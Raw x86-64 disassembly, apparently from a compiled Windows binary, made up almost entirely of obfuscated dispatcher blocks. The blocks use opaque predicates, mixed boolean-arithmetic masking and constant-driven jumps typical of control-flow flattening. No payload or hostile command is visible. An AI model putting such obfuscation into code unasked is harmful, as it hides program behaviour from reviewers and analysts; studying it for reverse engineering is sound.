xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xfb468ad2
mov ebp, 0x10bbf959
cmovne ecx, ebp
test dl, 1
mov edx, 0xfb468ad2
jmp 0x1400bd0f1
mov ecx, 0x79b615ea
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0xa60082d7
and edx, 0x59ff7d28
or edx, ebp
mov ebp, edx
xor ebp, 0x51fe7020
xor edx, 0xa60082d7
mov edi, ecx
and edi, 0x8e010d9b
and ebx, 0x71fef264
or ebx, edi
or ecx, edx
and edx, 0x8e010d9b
and ebp, 0x71fef264
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, edx
xor al, r9b
and dl, al
and al, r9b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r9d
xor cl, r8b
and cl, r9b
xor bl, r8b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x4a42508a
mov ebp, 0x53afb4fa
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x4a42508a
cmovne ecx, ebp
jmp 0x1400bc2bd
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x8001688
mov ecx, ebp
and ecx, 0xe06d4855
or ecx, edx
xor ecx, 0xe06d4855
mov edx, ebp
and edx, 0x1792a122
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc89b31e2
and edx, 0x3764ce1d
or edx, ecx
mov ecx, edx
xor ecx, 0x55000080
xor edx, 0x50422c
and edx, 0x8a59d26d
and ecx, 0x75a62d92
or ecx, edx
mov edx, ecx
xor edx, 0x24262910
and ebx, 0x4f0bcbbd
and ebp, 0xb0f43442
or ebp, ebx
mov ebx, ebp
xor ebx, 0x20242040
xor ecx, 0x8a59d26d
xor ebp, 0x4f0bcbbd
mov edi, ecx
and edi, 0xd3d094af
and edx, 0x2c2f6b50
or edx, edi
or ecx, ebp
and ebp, 0xd3d094af
and ebx, 0x2c2f6b50
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, r9b
mov edx, eax
xor dl, cl
and dl, al
and r9b, cl
and bl, r8b
or bl, r9b
mov eax, ebx
xor al, 1
and al, bl
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
xor al, dl
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x3ee6ac9f
mov ecx, 0xc6d8207a
cmovne edx, ecx
test bl, bl
mov ecx, 0x3ee6ac9f
cmovne ecx, edx
test al, 1
jmp 0x1400bc2bf
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdd3ba636
and edx, 0x22c459c9
or edx, ecx
mov ebp, edx
xor ebp, 0x22c459c9
xor edx, 0xdd3ba636
mov ecx, ebp
and ecx, 0xfffffffe
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
mov edx, ebp
xor edx, 0xa4b15839
and edx, ebp
not ebp
and ebp, 0x313b91f5
and ecx, 0xcec46e0a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80004800
xor ecx, 0x20311031
or ecx, 0x5b4ea7c6
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4fc400de
and ebp, 0xa0315821
or ebp, edi
or ecx, ebx
and ebx, 0x4fc400de
and edx, 0xb03bff21
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5b4ea7c6
and ecx, 0xa4b15839
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x59d3bc1a
and edx, 0xa62c43e5
or edx, ecx
xor edx, 0x59d3bc1a
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ebx, edx
xor bl, al
test dl, dl
mov ecx, 0xafe04bb9
mov edx, 0xfc03e20a
cmovne ecx, edx
test al, 1
mov eax, 0xafe04bb9
cmovne ecx, eax
test bl, 1
jmp 0x1400bc2bf
mov ecx, 0x8153d0ad
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xd5112c24
and ecx, edx
and edx, 0x2aeed3db
or edx, ebp
xor edx, 0x2aeed3db
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x94ced272
mov ebx, edx
xor ebx, 0x94ced272
and ebx, edx
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0xad43480b
and ebx, 0x52bcb7f4
or ebx, ebp
xor ebx, 0xc6726587
and edx, 0x840f2695
mov ebp, ecx
and ebp, 0x7bf0d96a
or ebp, edx
xor ebp, 0x840f2694
and ecx, 1
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa4bded2f
and ecx, 0x5b4212d0
or ecx, edx
xor ecx, 0x5b4212d0
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x9810540
and ecx, 0x820cd0a0
or ecx, edx
mov ebx, ecx
xor ebx, 0x8020
xor ecx, 0x7d612f1b
or ebp, 0x8b8dd5e0
mov edx, ebp
not edx
and ecx, 0xff6d7f9b
and ebx, 0x808060
or ebx, ecx
and ebp, 0xff6d7f9b
and edx, 0x120004
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x74722a1f
and edx, 0x8b8dd5e0
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdebb3bcd
and edx, 0x2144c432
or edx, ecx
mov ecx, edx
xor ecx, 0x21440022
xor edx, 0x80b32a8d
and edx, 0x80b3ee9d
and ecx, 0x7f4c1162
or ecx, edx
xor ecx, 0x80b3ee9d
cmp ecx, 0xffffffff
setne cl
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r8b
xor cl, r9b
and cl, r9b
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, r8b
mov eax, ebx
or al, r9b
xor al, 1
xor bl, r9b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, 1
mov eax, 0x8886e68c
mov ebp, 0xa33c27a
cmovne eax, ebp
test cl, 1
mov ecx, 0x8886e68c
cmove eax, ecx
test dl, 1
cmove eax, ebp
jmp 0x1400bc4e9
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xbdd09a97
and ebp, 0x422f6568
or ebp, edi
or ecx, ebx
and ebx, 0xbdd09a97
and edx, 0x422f6568
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x8121f53
and ebp, 0xf7ede0ac
or ebp, edi
or edx, ebx
and ebx, 0x8121f53
and ecx, 0xf7ede0ac
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
or ebx, 0x3cfa5667
mov ebp, ebx
not ebp
or edx, 0x80040998
and edx, 0xac761d9d
and ecx, 0x10884262
or ecx, edx
and ebx, 0xac761d9d
and ebp, 0x4301a000
or ebp, ebx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x510e9125
and ebp, 0xaef16eda
or ebp, ecx
xor ebp, 0x920b38bd
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
mov ecx, edx
xor cl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x2ef1bed1
mov ebp, 0xbec77772
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0x2ef1bed1
jmp 0x1400aed12
mov ecx, 0x3a2ff85a
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xc732eeda
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x2cb35599
and edx, 0xd34caa66
or edx, ebp
mov ecx, edx
xor ecx, 0x2cb35599
mov ebp, edx
xor ebp, 0xd140aa64
and ebp, 0xddd1fef4
xor edx, 0x870b50de
and edx, ecx
and ecx, 0x222e010b
or ecx, ebp
mov ebx, ecx
xor ebx, 0x222e010b
mov ebp, ebx
and ebp, 0xabb80547
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xaa5514cb
and edx, 0x55aaeb34
or edx, ebp
xor edx, 0xfe12ee72
and ebx, 1
xor ecx, 0x222e010a
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xadef9ae4
and ecx, 0x5210651b
or ecx, ebp
xor ecx, 0x5210651b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x49e7f242
and ebp, 0xb6180dbd
or ebp, edi
or ecx, ebx
and ebx, 0x49e7f242
and edx, 0xb6180dbd
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x3d8a6eec
and ecx, 0xc2759113
or ecx, ebp
xor ecx, 0xc2759113
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, edx
or bl, al
xor bl, 1
or cl, r8b
xor cl, 1
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
xor dl, al
xor dl, 1
mov ebx, eax
and bl, r8b
xor al, r8b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2e7eb1c4
mov ebp, 0x79ea71c7
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x2e7eb1c4
cmovne ecx, ebp
test dl, 1
cmovne ecx, eax
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0xc4004000
mov ecx, ebx
and ecx, 0x8008484
or ecx, edx
mov edi, ecx
xor edi, 0x8000084
xor ecx, 0x920e1258
mov ebp, esi
or ebp, 0xcc00c484
mov edx, ebp
not edx
and ecx, 0x920e9658
and edi, 0x4c004084
or edi, ecx
and ebp, 0x920e9658
and edx, 0x21f12923
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x33ff3b7a
and edx, 0xcc00c485
or edx, ecx
and esi, 0x67909268
and ebx, 0x986f6d97
or ebx, esi
mov ecx, ebx
xor ecx, 0x88230c11
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x75cc71ae
and edx, 0x8a338e51
or edx, edi
xor ebx, 0x65801028
and ebx, 0x75cc71ae
and ecx, 0x8a338e51
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, ebx
xor cl, r8b
mov eax, ecx
or al, dl
xor dl, bl
not dl
and dl, bl
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xda0144b8
mov ebp, 0x141c5064
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0xda0144b8
cmovne ecx, ebp
test dl, dl
jmp 0x1400bbbaf
mov ecx, 0x3749308d
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xc8e63155
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xe1a4431e
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x1bb89828
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x116c931a
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x810419b2
and edx, ecx
mov eax, ecx
or eax, 0x7efbe64d
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x489bdeba
and ecx, 0x81040100
or ecx, ebx
or eax, ebp
and ebp, 0x489bdeba
and edx, 0xb7642145
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x94a3a3cb
and eax, 0x6b5c5c34
or eax, ecx
mov ecx, eax
xor ecx, 0xea584586
mov edx, eax
xor edx, 0xea584587
and edx, ecx
xor eax, 0x15a7ba78
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x94f7cc7d
and edx, 0x6b083382
or edx, ebx
or eax, ebp
and ebp, 0x94f7cc7d
and ecx, 0x6b083382
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xcc59bbd9
and eax, 0x33a64426
or eax, edx
xor eax, 0xcc59bbd9
xor ecx, eax
test ecx, eax
sete r8b
setne bl
cmp dword [0x14026572c], 9
setg al
mov ecx, ebx
xor cl, al
and bl, cl
and cl, al
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor r8b, al
and al, r8b
mov edx, r8d
xor dl, al
xor al, 1
xor dl, 1
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xf866c4ef
mov ecx, 0x44b46ad
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0xf866c4ef
cmovne ecx, eax
test bl, 1
jmp 0x1400bd1cf
mov ecx, 0xe1e617d8
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x41840c2b
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x424776c0
mov ebx, ecx
and ebx, 0xbdb8893e
or ebx, ebp
xor ebx, 0xbdb8893e
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
not ebp
and edx, 0x41e6570b
and ecx, 0xbe19a8f4
or ecx, edx
xor ecx, 0xbe19a8f4
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
setne bl
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
xor bl, r9b
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, r8d
xor dl, al
xor dl, 1
and dl, al
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
or dl, r9b
xor dl, 1
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
xor bl, al
xor al, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x4d575f3a
mov edx, 0x820b8c8b
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x4d575f3a
jmp 0x1400bd5b0
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x19c9a4d6
mov ebp, edi
and ebp, 0xe6365b28
or ebp, ecx
mov ecx, ebp
xor ecx, 0x82061028
xor ebp, 0x8088044
mov ebx, edi
or ebx, 0x6c38cb44
and ebp, 0x6c38cb44
and ecx, 0x93c734ba
or ecx, ebp
and ebx, 0x6c38cb45
xor ebx, ecx
mov ecx, ebx
not ecx
and edx, ecx
and ebx, edi
or ebx, edx
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
or dl, cl
mov eax, ebx
or al, r8b
mov r9d, eax
xor r9b, dl
or al, dl
xor al, 1
or al, r9b
xor bl, r8b
xor bl, 1
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0x12de9bd9
mov ecx, 0xba4c7c0d
cmovne ebp, ecx
test dl, 1
mov ecx, 0x12de9bd9
cmovne ecx, ebp
test al, 1
cmovne ecx, ebp
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov eax, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea edi, [rax - 1]
imul edi, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0x2608203
mov ebp, edi
and ebp, 0xe8905084
or ebp, eax
xor ebp, 0xe8905084
mov ebx, edi
and ebx, 0x150f2d78
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x26276c96
and ebx, 0xd9d89369
or ebx, ebp
mov eax, ebx
xor eax, 0x332841ef
xor ebx, 0xccd7be10
and edx, ebx
and eax, edi
or eax, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r9b
setne r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
xor r8b, cl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, r8b
mov ebx, eax
xor bl, 1
and dl, r9b
or cl, r9b
xor cl, 1
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0xd107697b
mov ebp, 0xb71c9aa8
cmovne edx, ebp
test cl, 1
mov ecx, 0xd107697b
cmovne ecx, edx
jmp 0x1400bd1cd
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf7c9341c
and ebp, 0x836cbe3
or ebp, edi
or ecx, ebx
and ebx, 0xf7c9341c
and edx, 0x836cbe3
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
mov ebp, ecx
xor ebp, 0xb67547b6
and ebp, ecx
not ecx
and ecx, 0xebd10d44
and edx, 0x142ef2bb
or edx, ecx
mov ecx, edx
xor ecx, 0x10200280
xor edx, 0xa2510504
or edx, 0x498ab849
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x54cd176
and ecx, 0xb2310680
or ecx, edi
or edx, ebx
and ebx, 0x54cd176
and ebp, 0xfab32e89
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xcdb1e966
and edx, 0x324e1699
or edx, ecx
xor edx, 0x843b512f
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
and cl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and bl, r8b
or cl, bl
mov ebx, ecx
not bl
and bl, dl
and al, cl
or al, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x8650a479
mov ebp, 0x34c3dc35
cmovne edx, ebp
test cl, 1
mov ecx, 0x8650a479
cmovne ecx, edx
test al, al
cmove ecx, edx
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xde1149e7
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebx, edx
mov ebp, edx
xor ebp, 0xa3bd483b
and ebp, edx
not edx
and edx, 0xda8e03e7
and ebx, 0x2571fc18
or ebx, edx
mov ecx, ebx
xor ecx, 0x2571fc18
xor ebx, 0xda8e03e7
mov edx, ebx
or edx, 0x5c42b7c4
mov edi, edx
not edi
mov esi, ebp
not esi
mov eax, edx
and eax, 0x80ce283e
and edi, 0x23314001
or edi, eax
or edx, esi
and esi, 0x80ce283e
and ebp, 0x7f31d7c1
or ebp, esi
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xe633f92a
and edx, 0x19cc06d5
or edx, eax
xor edx, 0xba714eef
and ebx, 0x63dee3e9
mov eax, ecx
and eax, 0x9c211c16
or eax, ebx
xor eax, 0x63dee3e8
and ecx, 1
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x83140
and ecx, 0x8220080e
or ecx, eax
mov ebp, ecx
xor ebp, 0x82200000
xor ecx, 0x79d01640
or edx, 0x8228394e
mov eax, edx
not eax
and ecx, 0x79d01e4e
and ebp, 0x82282100
or ebp, ecx
and edx, 0x79d01e4e
and eax, 0x407c0b1
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x7dd7c6b1
and eax, 0x8228394e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6ebc5c16
and ecx, 0x9143a3e9
or ecx, eax
mov eax, ecx
xor eax, 0x4a8c1812
xor ecx, 0x90000209
and ecx, 0xb430460d
and eax, 0x4bcfb9f2
or eax, ecx
xor eax, 0x4bcfb9f2
setne r10b
sete r9b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
xor cl, r8b
and cl, r8b
xor r10b, r9b
and r10b, r9b
mov edx, ecx
xor dl, 1
or cl, dl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, r10d
xor al, 1
mov edx, eax
and dl, r10b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
or al, r10b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
xor dl, 1
and dl, al
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r8d
xor al, r9b
and r8b, r9b
or r8b, al
xor al, 1
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x6b465f88
mov edx, 0xd2010b4d
cmovne eax, edx
test bl, 1
mov ebp, 0x6b465f88
cmovne eax, ebp
test cl, 1
cmove eax, edx
mov ecx, eax
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, edx
not edx
or ecx, 1
mov ebx, ecx
not ebx
mov edi, ebp
not edi
mov esi, ecx
and esi, 0xd6a22a8f
and ebx, 0x295dd570
or ebx, esi
or ecx, edi
and edi, 0xd6a22a8f
and ebp, 0x295dd570
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x52923fd1
and ecx, 0xad6dc02e
or ecx, ebp
xor ecx, 0xad6dc02e
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x34dcd1eb
and ecx, 0xcb232e14
or ecx, edx
xor ecx, 0xcb232e14
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
and dl, bl
and r8b, al
xor al, bl
or al, dl
mov edx, eax
not dl
and cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and dl, al
and cl, bl
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
xor cl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x3a2ff85a
mov ebp, 0xdec997b1
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0x3a2ff85a
jmp 0x1400bd2f1
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x1240108
mov ebp, ecx
and ebp, 0x8a405011
or ebp, edx
xor ebp, 0x8a405011
and ecx, 0x749baee6
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xcc44e3c6
and ecx, 0x33bb1c39
or ecx, edx
mov edx, ecx
xor edx, 0x90824920
mov ebp, ecx
xor ebp, 0x4720b2df
mov ebx, ecx
xor ebx, 0xd4a27ba5
and ebx, ebp
and edx, 0x9382c97a
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x41a81d05
and edx, 0xbe57e2fa
or edx, ebx
xor edx, 0xd22ad47e
and ebp, 1
xor ecx, 0x4720b2de
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa004782d
and ecx, 0x5ffb87d2
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5ffb87d2
and ecx, 0xa004782d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9b371e91
and ecx, 0x64c8e16e
or ecx, edx
mov edx, ecx
xor edx, 0x6000e068
xor ecx, 0x8a051400
and ecx, 0x8ecd1506
and edx, 0x7132eaf9
or edx, ecx
xor edx, 0x8ecd1506
cmp edx, 0xffffffff
setne r8b
